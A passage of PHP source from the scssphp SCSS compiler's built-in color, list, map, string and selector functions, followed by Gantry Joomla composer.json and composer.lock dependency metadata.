if ($value[0] === Type::T_NUMBER) {
return null;
}
return $this->libAlpha($args);
}
// mix two colors
protected static $libMix = ['color-1', 'color-2',
'weight'];
protected function libMix($args)
{
list($first, $second, $weight) = $args;
$first = $this->assertColor($first);
$second = $this->assertColor($second);
if (! isset($weight)) {
$weight = 0.5;
} else {
$weight = $this->coercePercent($weight);
}
$firstAlpha = isset($first[4]) ? $first[4] : 1;
$secondAlpha = isset($second[4]) ? $second[4] : 1;
$w = $weight * 2 - 1;
$a = $firstAlpha - $secondAlpha;
$w1 = (($w * $a === -1 ? $w : ($w + $a) / (1 + $w * $a)) + 1) /
2.0;
$w2 = 1.0 - $w1;
$new = [Type::T_COLOR,
$w1 * $first[1] + $w2 * $second[1],
$w1 * $first[2] + $w2 * $second[2],
$w1 * $first[3] + $w2 * $second[3],
];
if ($firstAlpha != 1.0 || $secondAlpha != 1.0) {
$new[] = $firstAlpha * $weight + $secondAlpha * (1 - $weight);
}
return $this->fixColor($new);
}
protected static $libHsl = ['hue', 'saturation',
'lightness'];
protected function libHsl($args)
{
list($h, $s, $l) = $args;
return $this->toRGB($h[1], $s[1], $l[1]);
}
protected static $libHsla = ['hue', 'saturation',
'lightness', 'alpha'];
protected function libHsla($args)
{
list($h, $s, $l, $a) = $args;
$color = $this->toRGB($h[1], $s[1], $l[1]);
$color[4] = $a[1];
return $color;
}
protected static $libHue = ['color'];
protected function libHue($args)
{
$color = $this->assertColor($args[0]);
$hsl = $this->toHSL($color[1], $color[2], $color[3]);
return new Node\Number($hsl[1], 'deg');
}
protected static $libSaturation = ['color'];
protected function libSaturation($args)
{
$color = $this->assertColor($args[0]);
$hsl = $this->toHSL($color[1], $color[2], $color[3]);
return new Node\Number($hsl[2], '%');
}
protected static $libLightness = ['color'];
protected function libLightness($args)
{
$color = $this->assertColor($args[0]);
$hsl = $this->toHSL($color[1], $color[2], $color[3]);
return new Node\Number($hsl[3], '%');
}
protected function adjustHsl($color, $idx, $amount)
{
$hsl = $this->toHSL($color[1], $color[2], $color[3]);
$hsl[$idx] += $amount;
$out = $this->toRGB($hsl[1], $hsl[2], $hsl[3]);
if (isset($color[4])) {
$out[4] = $color[4];
}
return $out;
}
protected static $libAdjustHue = ['color',
'degrees'];
protected function libAdjustHue($args)
{
$color = $this->assertColor($args[0]);
$degrees = $this->assertNumber($args[1]);
return $this->adjustHsl($color, 1, $degrees);
}
protected static $libLighten = ['color', 'amount'];
protected function libLighten($args)
{
$color = $this->assertColor($args[0]);
$amount = Util::checkRange('amount', new Range(0, 100),
$args[1], '%');
return $this->adjustHsl($color, 3, $amount);
}
protected static $libDarken = ['color', 'amount'];
protected function libDarken($args)
{
$color = $this->assertColor($args[0]);
$amount = Util::checkRange('amount', new Range(0, 100),
$args[1], '%');
return $this->adjustHsl($color, 3, -$amount);
}
protected static $libSaturate = ['color',
'amount'];
protected function libSaturate($args)
{
$value = $args[0];
if ($value[0] === Type::T_NUMBER) {
return null;
}
$color = $this->assertColor($value);
$amount = 100 * $this->coercePercent($args[1]);
return $this->adjustHsl($color, 2, $amount);
}
protected static $libDesaturate = ['color',
'amount'];
protected function libDesaturate($args)
{
$color = $this->assertColor($args[0]);
$amount = 100 * $this->coercePercent($args[1]);
return $this->adjustHsl($color, 2, -$amount);
}
protected static $libGrayscale = ['color'];
protected function libGrayscale($args)
{
$value = $args[0];
if ($value[0] === Type::T_NUMBER) {
return null;
}
return $this->adjustHsl($this->assertColor($value), 2, -100);
}
protected static $libComplement = ['color'];
protected function libComplement($args)
{
return $this->adjustHsl($this->assertColor($args[0]), 1,
180);
}
protected static $libInvert = ['color'];
protected function libInvert($args)
{
$value = $args[0];
if ($value[0] === Type::T_NUMBER) {
return null;
}
$color = $this->assertColor($value);
$color[1] = 255 - $color[1];
$color[2] = 255 - $color[2];
$color[3] = 255 - $color[3];
return $color;
}
// increases opacity by amount
protected static $libOpacify = ['color', 'amount'];
protected function libOpacify($args)
{
$color = $this->assertColor($args[0]);
$amount = $this->coercePercent($args[1]);
$color[4] = (isset($color[4]) ? $color[4] : 1) + $amount;
$color[4] = min(1, max(0, $color[4]));
return $color;
}
protected static $libFadeIn = ['color', 'amount'];
protected function libFadeIn($args)
{
return $this->libOpacify($args);
}
// decreases opacity by amount
protected static $libTransparentize = ['color',
'amount'];
protected function libTransparentize($args)
{
$color = $this->assertColor($args[0]);
$amount = $this->coercePercent($args[1]);
$color[4] = (isset($color[4]) ? $color[4] : 1) - $amount;
$color[4] = min(1, max(0, $color[4]));
return $color;
}
protected static $libFadeOut = ['color', 'amount'];
protected function libFadeOut($args)
{
return $this->libTransparentize($args);
}
protected static $libUnquote = ['string'];
protected function libUnquote($args)
{
$str = $args[0];
if ($str[0] === Type::T_STRING) {
$str[1] = '';
}
return $str;
}
protected static $libQuote = ['string'];
protected function libQuote($args)
{
$value = $args[0];
if ($value[0] === Type::T_STRING && ! empty($value[1])) {
return $value;
}
return [Type::T_STRING, '"', [$value]];
}
protected static $libPercentage = ['value'];
protected function libPercentage($args)
{
return new Node\Number($this->coercePercent($args[0]) * 100,
'%');
}
protected static $libRound = ['value'];
protected function libRound($args)
{
$num = $args[0];
return new Node\Number(round($num[1]), $num[2]);
}
protected static $libFloor = ['value'];
protected function libFloor($args)
{
$num = $args[0];
return new Node\Number(floor($num[1]), $num[2]);
}
protected static $libCeil = ['value'];
protected function libCeil($args)
{
$num = $args[0];
return new Node\Number(ceil($num[1]), $num[2]);
}
protected static $libAbs = ['value'];
protected function libAbs($args)
{
$num = $args[0];
return new Node\Number(abs($num[1]), $num[2]);
}
protected function libMin($args)
{
$numbers = $this->getNormalizedNumbers($args);
$min = null;
foreach ($numbers as $key => $number) {
if (null === $min || $number[1] <= $min[1]) {
$min = [$key, $number[1]];
}
}
return $args[$min[0]];
}
protected function libMax($args)
{
$numbers = $this->getNormalizedNumbers($args);
$max = null;
foreach ($numbers as $key => $number) {
if (null === $max || $number[1] >= $max[1]) {
$max = [$key, $number[1]];
}
}
return $args[$max[0]];
}
/**
* Helper to normalize args containing numbers
*
* @param array $args
*
* @return array
*/
protected function getNormalizedNumbers($args)
{
$unit = null;
$originalUnit = null;
$numbers = [];
foreach ($args as $key => $item) {
if ($item[0] !== Type::T_NUMBER) {
$this->throwError('%s is not a number',
$item[0]);
break;
}
$number = $item->normalize();
if (null === $unit) {
$unit = $number[2];
$originalUnit = $item->unitStr();
} elseif ($number[1] && $unit !== $number[2]) {
$this->throwError('Incompatible units:
"%s" and "%s".', $originalUnit,
$item->unitStr());
break;
}
$numbers[$key] = $number;
}
return $numbers;
}
protected static $libLength = ['list'];
protected function libLength($args)
{
$list = $this->coerceList($args[0]);
return count($list[2]);
}
//protected static $libListSeparator = ['list...'];
protected function libListSeparator($args)
{
if (count($args) > 1) {
return 'comma';
}
$list = $this->coerceList($args[0]);
if (count($list[2]) <= 1) {
return 'space';
}
if ($list[1] === ',') {
return 'comma';
}
return 'space';
}
protected static $libNth = ['list', 'n'];
protected function libNth($args)
{
$list = $this->coerceList($args[0]);
$n = $this->assertNumber($args[1]);
if ($n > 0) {
$n--;
} elseif ($n < 0) {
$n += count($list[2]);
}
return isset($list[2][$n]) ? $list[2][$n] : static::$defaultValue;
}
protected static $libSetNth = ['list', 'n',
'value'];
protected function libSetNth($args)
{
$list = $this->coerceList($args[0]);
$n = $this->assertNumber($args[1]);
if ($n > 0) {
$n--;
} elseif ($n < 0) {
$n += count($list[2]);
}
if (! isset($list[2][$n])) {
$this->throwError('Invalid argument for
"n"');
return null;
}
$list[2][$n] = $args[2];
return $list;
}
protected static $libMapGet = ['map', 'key'];
protected function libMapGet($args)
{
$map = $this->assertMap($args[0]);
$key =
$this->compileStringContent($this->coerceString($args[1]));
for ($i = count($map[1]) - 1; $i >= 0; $i--) {
if ($key ===
$this->compileStringContent($this->coerceString($map[1][$i]))) {
return $map[2][$i];
}
}
return static::$null;
}
protected static $libMapKeys = ['map'];
protected function libMapKeys($args)
{
$map = $this->assertMap($args[0]);
$keys = $map[1];
return [Type::T_LIST, ',', $keys];
}
protected static $libMapValues = ['map'];
protected function libMapValues($args)
{
$map = $this->assertMap($args[0]);
$values = $map[2];
return [Type::T_LIST, ',', $values];
}
protected static $libMapRemove = ['map', 'key'];
protected function libMapRemove($args)
{
$map = $this->assertMap($args[0]);
$key =
$this->compileStringContent($this->coerceString($args[1]));
for ($i = count($map[1]) - 1; $i >= 0; $i--) {
if ($key ===
$this->compileStringContent($this->coerceString($map[1][$i]))) {
array_splice($map[1], $i, 1);
array_splice($map[2], $i, 1);
}
}
return $map;
}
protected static $libMapHasKey = ['map', 'key'];
protected function libMapHasKey($args)
{
$map = $this->assertMap($args[0]);
$key =
$this->compileStringContent($this->coerceString($args[1]));
for ($i = count($map[1]) - 1; $i >= 0; $i--) {
if ($key ===
$this->compileStringContent($this->coerceString($map[1][$i]))) {
return true;
}
}
return false;
}
protected static $libMapMerge = ['map-1', 'map-2'];
protected function libMapMerge($args)
{
$map1 = $this->assertMap($args[0]);
$map2 = $this->assertMap($args[1]);
foreach ($map2[1] as $i2 => $key2) {
$key =
$this->compileStringContent($this->coerceString($key2));
foreach ($map1[1] as $i1 => $key1) {
if ($key ===
$this->compileStringContent($this->coerceString($key1))) {
$map1[2][$i1] = $map2[2][$i2];
continue 2;
}
}
$map1[1][] = $map2[1][$i2];
$map1[2][] = $map2[2][$i2];
}
return $map1;
}
protected static $libKeywords = ['args'];
protected function libKeywords($args)
{
$this->assertList($args[0]);
$keys = [];
$values = [];
foreach ($args[0][2] as $name => $arg) {
$keys[] = [Type::T_KEYWORD, $name];
$values[] = $arg;
}
return [Type::T_MAP, $keys, $values];
}
protected function listSeparatorForJoin($list1, $sep)
{
if (! isset($sep)) {
return $list1[1];
}
switch ($this->compileValue($sep)) {
case 'comma':
return ',';
case 'space':
return '';
default:
return $list1[1];
}
}
protected static $libJoin = ['list1', 'list2',
'separator'];
protected function libJoin($args)
{
list($list1, $list2, $sep) = $args;
$list1 = $this->coerceList($list1, ' ');
$list2 = $this->coerceList($list2, ' ');
$sep = $this->listSeparatorForJoin($list1, $sep);
return [Type::T_LIST, $sep, array_merge($list1[2], $list2[2])];
}
protected static $libAppend = ['list', 'val',
'separator'];
protected function libAppend($args)
{
list($list1, $value, $sep) = $args;
$list1 = $this->coerceList($list1, ' ');
$sep = $this->listSeparatorForJoin($list1, $sep);
return [Type::T_LIST, $sep, array_merge($list1[2], [$value])];
}
protected function libZip($args)
{
foreach ($args as $arg) {
$this->assertList($arg);
}
$lists = [];
$firstList = array_shift($args);
foreach ($firstList[2] as $key => $item) {
$list = [Type::T_LIST, '', [$item]];
foreach ($args as $arg) {
if (isset($arg[2][$key])) {
$list[2][] = $arg[2][$key];
} else {
break 2;
}
}
$lists[] = $list;
}
return [Type::T_LIST, ',', $lists];
}
protected static $libTypeOf = ['value'];
protected function libTypeOf($args)
{
$value = $args[0];
switch ($value[0]) {
case Type::T_KEYWORD:
if ($value === static::$true || $value === static::$false)
{
return 'bool';
}
if ($this->coerceColor($value)) {
return 'color';
}
// fall-thru
case Type::T_FUNCTION:
return 'string';
case Type::T_LIST:
if (isset($value[3]) && $value[3]) {
return 'arglist';
}
// fall-thru
default:
return $value[0];
}
}
protected static $libUnit = ['number'];
protected function libUnit($args)
{
$num = $args[0];
if ($num[0] === Type::T_NUMBER) {
return [Type::T_STRING, '"',
[$num->unitStr()]];
}
return '';
}
protected static $libUnitless = ['number'];
protected function libUnitless($args)
{
$value = $args[0];
return $value[0] === Type::T_NUMBER &&
$value->unitless();
}
protected static $libComparable = ['number-1',
'number-2'];
protected function libComparable($args)
{
list($number1, $number2) = $args;
if (! isset($number1[0]) || $number1[0] !== Type::T_NUMBER ||
! isset($number2[0]) || $number2[0] !== Type::T_NUMBER
) {
$this->throwError('Invalid argument(s) for
"comparable"');
return null;
}
$number1 = $number1->normalize();
$number2 = $number2->normalize();
return $number1[2] === $number2[2] || $number1->unitless() ||
$number2->unitless();
}
protected static $libStrIndex = ['string',
'substring'];
protected function libStrIndex($args)
{
$string = $this->coerceString($args[0]);
$stringContent = $this->compileStringContent($string);
$substring = $this->coerceString($args[1]);
$substringContent = $this->compileStringContent($substring);
$result = strpos($stringContent, $substringContent);
return $result === false ? static::$null : new Node\Number($result
+ 1, '');
}
protected static $libStrInsert = ['string',
'insert', 'index'];
protected function libStrInsert($args)
{
$string = $this->coerceString($args[0]);
$stringContent = $this->compileStringContent($string);
$insert = $this->coerceString($args[1]);
$insertContent = $this->compileStringContent($insert);
list(, $index) = $args[2];
$string[2] = [substr_replace($stringContent, $insertContent, $index
- 1, 0)];
return $string;
}
protected static $libStrLength = ['string'];
protected function libStrLength($args)
{
$string = $this->coerceString($args[0]);
$stringContent = $this->compileStringContent($string);
return new Node\Number(strlen($stringContent), '');
}
protected static $libStrSlice = ['string',
'start-at', 'end-at:-1'];
protected function libStrSlice($args)
{
if (isset($args[2]) && ! $args[2][1]) {
return static::$nullString;
}
$string = $this->coerceString($args[0]);
$stringContent = $this->compileStringContent($string);
$start = (int) $args[1][1];
if ($start > 0) {
$start--;
}
$end = isset($args[2]) ? (int) $args[2][1] : -1;
$length = $end < 0 ? $end + 1 : ($end > 0 ? $end - $start :
$end);
$string[2] = $length
? [substr($stringContent, $start, $length)]
: [substr($stringContent, $start)];
return $string;
}
protected static $libToLowerCase = ['string'];
protected function libToLowerCase($args)
{
$string = $this->coerceString($args[0]);
$stringContent = $this->compileStringContent($string);
$string[2] = [function_exists('mb_strtolower') ?
mb_strtolower($stringContent) : strtolower($stringContent)];
return $string;
}
protected static $libToUpperCase = ['string'];
protected function libToUpperCase($args)
{
$string = $this->coerceString($args[0]);
$stringContent = $this->compileStringContent($string);
$string[2] = [function_exists('mb_strtoupper') ?
mb_strtoupper($stringContent) : strtoupper($stringContent)];
return $string;
}
protected static $libFeatureExists = ['feature'];
protected function libFeatureExists($args)
{
$string = $this->coerceString($args[0]);
$name = $this->compileStringContent($string);
return $this->toBool(
array_key_exists($name, $this->registeredFeatures) ?
$this->registeredFeatures[$name] : false
);
}
protected static $libFunctionExists = ['name'];
protected function libFunctionExists($args)
{
$string = $this->coerceString($args[0]);
$name = $this->compileStringContent($string);
// user defined functions
if ($this->has(static::$namespaces['function'] .
$name)) {
return true;
}
$name = $this->normalizeName($name);
if (isset($this->userFunctions[$name])) {
return true;
}
// built-in functions
$f = $this->getBuiltinFunction($name);
return $this->toBool(is_callable($f));
}
protected static $libGlobalVariableExists = ['name'];
protected function libGlobalVariableExists($args)
{
$string = $this->coerceString($args[0]);
$name = $this->compileStringContent($string);
return $this->has($name, $this->rootEnv);
}
protected static $libMixinExists = ['name'];
protected function libMixinExists($args)
{
$string = $this->coerceString($args[0]);
$name = $this->compileStringContent($string);
return $this->has(static::$namespaces['mixin'] .
$name);
}
protected static $libVariableExists = ['name'];
protected function libVariableExists($args)
{
$string = $this->coerceString($args[0]);
$name = $this->compileStringContent($string);
return $this->has($name);
}
/**
* Workaround IE7's content counter bug.
*
* @param array $args
*
* @return array
*/
protected function libCounter($args)
{
$list = array_map([$this, 'compileValue'], $args);
return [Type::T_STRING, '', ['counter(' .
implode(',', $list) . ')']];
}
protected static $libRandom = ['limit'];
protected function libRandom($args)
{
if (isset($args[0])) {
$n = $this->assertNumber($args[0]);
if ($n < 1) {
$this->throwError("limit must be greater than or
equal to 1");
return null;
}
return new Node\Number(mt_rand(1, $n), '');
}
return new Node\Number(mt_rand(1, mt_getrandmax()), '');
}
protected function libUniqueId()
{
static $id;
if (! isset($id)) {
$id = mt_rand(0, pow(36, 8));
}
$id += mt_rand(0, 10) + 1;
return [Type::T_STRING, '', ['u' .
str_pad(base_convert($id, 10, 36), 8, '0', STR_PAD_LEFT)]];
}
protected static $libInspect = ['value'];
protected function libInspect($args)
{
if ($args[0] === static::$null) {
return [Type::T_KEYWORD, 'null'];
}
return $args[0];
}
/**
* Preprocess selector args
*
* @param array $arg
*
* @return array|boolean
*/
protected function getSelectorArg($arg)
{
static $parser = null;
if (is_null($parser)) {
$parser = $this->parserFactory(__METHOD__);
}
$arg = $this->libUnquote([$arg]);
$arg = $this->compileValue($arg);
$parsedSelector = [];
if ($parser->parseSelector($arg, $parsedSelector)) {
$selector = $this->evalSelectors($parsedSelector);
$gluedSelector = $this->glueFunctionSelectors($selector);
return $gluedSelector;
}
return false;
}
/**
* Postprocess selector to output in right format
*
* @param array $selectors
*
* @return string
*/
protected function formatOutputSelector($selectors)
{
$selectors = $this->collapseSelectors($selectors, true);
return $selectors;
}
protected static $libIsSuperselector = ['super',
'sub'];
protected function libIsSuperselector($args)
{
list($super, $sub) = $args;
$super = $this->getSelectorArg($super);
$sub = $this->getSelectorArg($sub);
return $this->isSuperSelector($super, $sub);
}
/**
* Test a $super selector again $sub
*
* @param array $super
* @param array $sub
*
* @return boolean
*/
protected function isSuperSelector($super, $sub)
{
// one and only one selector for each arg
if (! $super || count($super) !== 1) {
$this->throwError("Invalid super selector for
isSuperSelector()");
}
if (! $sub || count($sub) !== 1) {
$this->throwError("Invalid sub selector for
isSuperSelector()");
}
$super = reset($super);
$sub = reset($sub);
$i = 0;
$nextMustMatch = false;
foreach ($super as $node) {
$compound = '';
array_walk_recursive(
$node,
function ($value, $key) use (&$compound) {
$compound .= $value;
}
);
if ($this->isImmediateRelationshipCombinator($compound)) {
if ($node !== $sub[$i]) {
return false;
}
$nextMustMatch = true;
$i++;
} else {
while ($i < count($sub) && !
$this->isSuperPart($node, $sub[$i])) {
if ($nextMustMatch) {
return false;
}
$i++;
}
if ($i >= count($sub)) {
return false;
}
$nextMustMatch = false;
$i++;
}
}
return true;
}
/**
* Test a part of super selector again a part of sub selector
*
* @param array $superParts
* @param array $subParts
*
* @return boolean
*/
protected function isSuperPart($superParts, $subParts)
{
$i = 0;
foreach ($superParts as $superPart) {
while ($i < count($subParts) && $subParts[$i] !==
$superPart) {
$i++;
}
if ($i >= count($subParts)) {
return false;
}
$i++;
}
return true;
}
//protected static $libSelectorAppend = ['selector...'];
protected function libSelectorAppend($args)
{
if (count($args) < 1) {
$this->throwError("selector-append() needs at least 1
argument");
}
$selectors = array_map([$this, 'getSelectorArg'], $args);
return
$this->formatOutputSelector($this->selectorAppend($selectors));
}
/**
* Append parts of the last selector in the list to the previous,
recursively
*
* @param array $selectors
*
* @return array
*
* @throws \Leafo\ScssPhp\Exception\CompilerException
*/
protected function selectorAppend($selectors)
{
$lastSelectors = array_pop($selectors);
if (! $lastSelectors) {
$this->throwError("Invalid selector list in
selector-append()");
}
while (count($selectors)) {
$previousSelectors = array_pop($selectors);
if (! $previousSelectors) {
$this->throwError("Invalid selector list in
selector-append()");
}
// do the trick, happening $lastSelector to $previousSelector
$appended = [];
foreach ($lastSelectors as $lastSelector) {
$previous = $previousSelectors;
foreach ($lastSelector as $lastSelectorParts) {
foreach ($lastSelectorParts as $lastSelectorPart) {
foreach ($previous as $i => $previousSelector) {
foreach ($previousSelector as $j =>
$previousSelectorParts) {
$previous[$i][$j][] = $lastSelectorPart;
}
}
}
}
foreach ($previous as $ps) {
$appended[] = $ps;
}
}
$lastSelectors = $appended;
}
return $lastSelectors;
}
protected static $libSelectorExtend = ['selectors',
'extendee', 'extender'];
protected function libSelectorExtend($args)
{
list($selectors, $extendee, $extender) = $args;
$selectors = $this->getSelectorArg($selectors);
$extendee = $this->getSelectorArg($extendee);
$extender = $this->getSelectorArg($extender);
if (! $selectors || ! $extendee || ! $extender) {
$this->throwError("selector-extend() invalid
arguments");
}
$extended = $this->extendOrReplaceSelectors($selectors,
$extendee, $extender);
return $this->formatOutputSelector($extended);
}
protected static $libSelectorReplace = ['selectors',
'original', 'replacement'];
protected function libSelectorReplace($args)
{
list($selectors, $original, $replacement) = $args;
$selectors = $this->getSelectorArg($selectors);
$original = $this->getSelectorArg($original);
$replacement = $this->getSelectorArg($replacement);
if (! $selectors || ! $original || ! $replacement) {
$this->throwError("selector-replace() invalid
arguments");
}
$replaced = $this->extendOrReplaceSelectors($selectors,
$original, $replacement, true);
return $this->formatOutputSelector($replaced);
}
/**
* Extend/replace in selectors
* used by selector-extend and selector-replace that use the same logic
*
* @param array $selectors
* @param array $extendee
* @param array $extender
* @param boolean $replace
*
* @return array
*/
protected function extendOrReplaceSelectors($selectors, $extendee,
$extender, $replace = false)
{
$saveExtends = $this->extends;
$saveExtendsMap = $this->extendsMap;
$this->extends = [];
$this->extendsMap = [];
foreach ($extendee as $es) {
// only use the first one
$this->pushExtends(reset($es), $extender, null);
}
$extended = [];
foreach ($selectors as $selector) {
if (! $replace) {
$extended[] = $selector;
}
$n = count($extended);
$this->matchExtends($selector, $extended);
// if didnt match, keep the original selector if we are in a
replace operation
if ($replace and count($extended) === $n) {
$extended[] = $selector;
}
}
$this->extends = $saveExtends;
$this->extendsMap = $saveExtendsMap;
return $extended;
}
//protected static $libSelectorNest = ['selector...'];
protected function libSelectorNest($args)
{
if (count($args) < 1) {
$this->throwError("selector-nest() needs at least 1
argument");
}
$selectorsMap = array_map([$this, 'getSelectorArg'],
$args);
$envs = [];
foreach ($selectorsMap as $selectors) {
$env = new Environment();
$env->selectors = $selectors;
$envs[] = $env;
}
$envs = array_reverse($envs);
$env = $this->extractEnv($envs);
$outputSelectors = $this->multiplySelectors($env);
return $this->formatOutputSelector($outputSelectors);
}
protected static $libSelectorParse = ['selectors'];
protected function libSelectorParse($args)
{
$selectors = reset($args);
$selectors = $this->getSelectorArg($selectors);
return $this->formatOutputSelector($selectors);
}
protected static $libSelectorUnify = ['selectors1',
'selectors2'];
protected function libSelectorUnify($args)
{
list($selectors1, $selectors2) = $args;
$selectors1 = $this->getSelectorArg($selectors1);
$selectors2 = $this->getSelectorArg($selectors2);
if (! $selectors1 || ! $selectors2) {
$this->throwError("selector-unify() invalid
arguments");
}
// only consider the first compound of each
$compound1 = reset($selectors1);
$compound2 = reset($selectors2);
// unify them and that's it
$unified = $this->unifyCompoundSelectors($compound1,
$compound2);
return $this->formatOutputSelector($unified);
}
/**
* The selector-unify magic as its best
* (at least works as expected on test cases)
*
* @param array $compound1
* @param array $compound2
* @return array|mixed
*/
protected function unifyCompoundSelectors($compound1, $compound2)
{
if (! count($compound1)) {
return $compound2;
}
if (! count($compound2)) {
return $compound1;
}
// check that last part are compatible
$lastPart1 = array_pop($compound1);
$lastPart2 = array_pop($compound2);
$last = $this->mergeParts($lastPart1, $lastPart2);
if (! $last) {
return [[]];
}
$unifiedCompound = [$last];
$unifiedSelectors = [$unifiedCompound];
// do the rest
while (count($compound1) || count($compound2)) {
$part1 = end($compound1);
$part2 = end($compound2);
if ($part1 && ($match2 =
$this->matchPartInCompound($part1, $compound2))) {
list($compound2, $part2, $after2) = $match2;
if ($after2) {
$unifiedSelectors =
$this->prependSelectors($unifiedSelectors, $after2);
}
$c = $this->mergeParts($part1, $part2);
$unifiedSelectors =
$this->prependSelectors($unifiedSelectors, [$c]);
$part1 = $part2 = null;
array_pop($compound1);
}
if ($part2 && ($match1 =
$this->matchPartInCompound($part2, $compound1))) {
list($compound1, $part1, $after1) = $match1;
if ($after1) {
$unifiedSelectors =
$this->prependSelectors($unifiedSelectors, $after1);
}
$c = $this->mergeParts($part2, $part1);
$unifiedSelectors =
$this->prependSelectors($unifiedSelectors, [$c]);
$part1 = $part2 = null;
array_pop($compound2);
}
$new = [];
if ($part1 && $part2) {
array_pop($compound1);
array_pop($compound2);
$s = $this->prependSelectors($unifiedSelectors,
[$part2]);
$new = array_merge($new, $this->prependSelectors($s,
[$part1]));
$s = $this->prependSelectors($unifiedSelectors,
[$part1]);
$new = array_merge($new, $this->prependSelectors($s,
[$part2]));
} elseif ($part1) {
array_pop($compound1);
$new = array_merge($new,
$this->prependSelectors($unifiedSelectors, [$part1]));
} elseif ($part2) {
array_pop($compound2);
$new = array_merge($new,
$this->prependSelectors($unifiedSelectors, [$part2]));
}
if ($new) {
$unifiedSelectors = $new;
}
}
return $unifiedSelectors;
}
/**
* Prepend each selector from $selectors with $parts
*
* @param array $selectors
* @param array $parts
*
* @return array
*/
protected function prependSelectors($selectors, $parts)
{
$new = [];
foreach ($selectors as $compoundSelector) {
array_unshift($compoundSelector, $parts);
$new[] = $compoundSelector;
}
return $new;
}
/**
* Try to find a matching part in a compound:
* - with same html tag name
* - with some class or id or something in common
*
* @param array $part
* @param array $compound
*
* @return array|boolean
*/
protected function matchPartInCompound($part, $compound)
{
$partTag = $this->findTagName($part);
$before = $compound;
$after = [];
// try to find a match by tag name first
while (count($before)) {
$p = array_pop($before);
if ($partTag && $partTag !== '*' &&
$partTag == $this->findTagName($p)) {
return [$before, $p, $after];
}
$after[] = $p;
}
// try again matching a non empty intersection and a compatible
tagname
$before = $compound;
$after = [];
while (count($before)) {
$p = array_pop($before);
if ($this->checkCompatibleTags($partTag,
$this->findTagName($p))) {
if (count(array_intersect($part, $p))) {
return [$before, $p, $after];
}
}
$after[] = $p;
}
return false;
}
/**
* Merge two part list taking care that
* - the html tag is coming first - if any
* - the :something are coming last
*
* @param array $parts1
* @param array $parts2
*
* @return array
*/
protected function mergeParts($parts1, $parts2)
{
$tag1 = $this->findTagName($parts1);
$tag2 = $this->findTagName($parts2);
$tag = $this->checkCompatibleTags($tag1, $tag2);
// not compatible tags
if ($tag === false) {
return [];
}
if ($tag) {
if ($tag1) {
$parts1 = array_diff($parts1, [$tag1]);
}
if ($tag2) {
$parts2 = array_diff($parts2, [$tag2]);
}
}
$mergedParts = array_merge($parts1, $parts2);
$mergedOrderedParts = [];
foreach ($mergedParts as $part) {
if (strpos($part, ':') === 0) {
$mergedOrderedParts[] = $part;
}
}
$mergedParts = array_diff($mergedParts, $mergedOrderedParts);
$mergedParts = array_merge($mergedParts, $mergedOrderedParts);
if ($tag) {
array_unshift($mergedParts, $tag);
}
return $mergedParts;
}
/**
* Check the compatibility between two tag names:
* if both are defined they should be identical or one has to be
'*'
*
* @param string $tag1
* @param string $tag2
*
* @return array|boolean
*/
protected function checkCompatibleTags($tag1, $tag2)
{
$tags = [$tag1, $tag2];
$tags = array_unique($tags);
$tags = array_filter($tags);
if (count($tags)>1) {
$tags = array_diff($tags, ['*']);
}
// not compatible nodes
if (count($tags)>1) {
return false;
}
return $tags;
}
/**
* Find the html tag name in a selector parts list
*
* @param array $parts
*
* @return mixed|string
*/
protected function findTagName($parts)
{
foreach ($parts as $part) {
if (! preg_match('/^[\[.:#%_-]/', $part)) {
return $part;
}
}
return '';
}
protected static $libSimpleSelectors = ['selector'];
protected function libSimpleSelectors($args)
{
$selector = reset($args);
$selector = $this->getSelectorArg($selector);
// remove selectors list layer, keeping the first one
$selector = reset($selector);
// remove parts list layer, keeping the first part
$part = reset($selector);
$listParts = [];
foreach ($part as $p) {
$listParts[] = [Type::T_STRING, '', [$p]];
}
return [Type::T_LIST, ',', $listParts];
}
}
{
"name": "gantry/joomla",
"description": "Gantry Framework Library",
"license": "GPLv2",
"require": {
"php": ">=5.5.9",
"symfony/event-dispatcher": "~2.8",
"symfony/yaml": "~2.8",
"twig/twig": "~1.41",
"pimple/pimple": "~3.0",
"filp/whoops": "~2.5.0",
"rockettheme/toolbox": "~1.3",
"leafo/scssphp": "~0.8",
"erusev/parsedown-extra": "~0.7.0"
},
"require-dev": {
"phpunit/phpunit": "3.7.*"
},
"autoload": {
"psr-4": {
"Gantry\\": "classes/Gantry",
"Leafo\\ScssPhp\\": "classes/Leafo/ScssPhp"
}
},
"config": {
"platform": {
"php": "5.5.9"
}
}
}
{
"_readme": [
"This file locks the dependencies of your project to a known
state",
"Read more about it at
https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies",
"This file is @generated automatically"
],
"content-hash": "f03f176a8d30aa23c9c08489789a8c68",
"packages": [
{
"name": "erusev/parsedown",
"version": "1.7.4",
"source": {
"type": "git",
"url":
"https://github.com/erusev/parsedown.git",
"reference":
"cb17b6477dfff935958ba01325f2e8a2bfa6dab3"
},
"dist": {
"type": "zip",
"url":
"https://api.github.com/repos/erusev/parsedown/zipball/cb17b6477dfff935958ba01325f2e8a2bfa6dab3",
"reference":
"cb17b6477dfff935958ba01325f2e8a2bfa6dab3",
"shasum": ""
},
"require": {
"ext-mbstring": "*",
"php": ">=5.3.0"
},
"require-dev": {
"phpunit/phpunit": "^4.8.35"
},
"type": "library",
"autoload": {
"psr-0": {
"Parsedown": ""
}
},
"notification-url":
"https://packagist.org/downloads/",
"license": [
"MIT"
],
"authors": [
{
"name": "Emanuil Rusev",
"email": "hello@erusev.com",
"homepage": "http://erusev.com"
}
],
"description": "Parser for Markdown.",
"homepage": "http://parsedown.org",
"keywords": [
"markdown",
"parser"
],
"support": {
"issues":
"https://github.com/erusev/parsedown/issues",
"source":
"https://github.com/erusev/parsedown/tree/1.7.x"
},
"time": "2019-12-30T22:54:17+00:00"
},
{
"name": "erusev/parsedown-extra",
"version": "0.7.1",
"source": {
"type": "git",
"url":
"https://github.com/erusev/parsedown-extra.git",
"reference":
"0db5cce7354e4b76f155d092ab5eb3981c21258c"
},
"dist": {
"type": "zip",
"url":
"https://api.github.com/repos/erusev/parsedown-extra/zipball/0db5cce7354e4b76f155d092ab5eb3981c21258c",
"reference":
"0db5cce7354e4b76f155d092ab5eb3981c21258c",
"shasum": ""
},
"require": {
"erusev/parsedown": "~1.4"
},
"type": "library",
"autoload": {
"psr-0": {
"ParsedownExtra": ""
}
},
"notification-url":
"https://packagist.org/downloads/",
"license": [
"MIT"
],
"authors": [
{
"name": "Emanuil Rusev",
"email": "hello@erusev.com",
"homepage": "http://erusev.com"
}
],
"description": "An extension of Parsedown that
adds support for Markdown Extra.",
"homepage":
"https://github.com/erusev/parsedown-extra",
"keywords": [
"markdown",
"markdown extra",
"parsedown",
"parser"
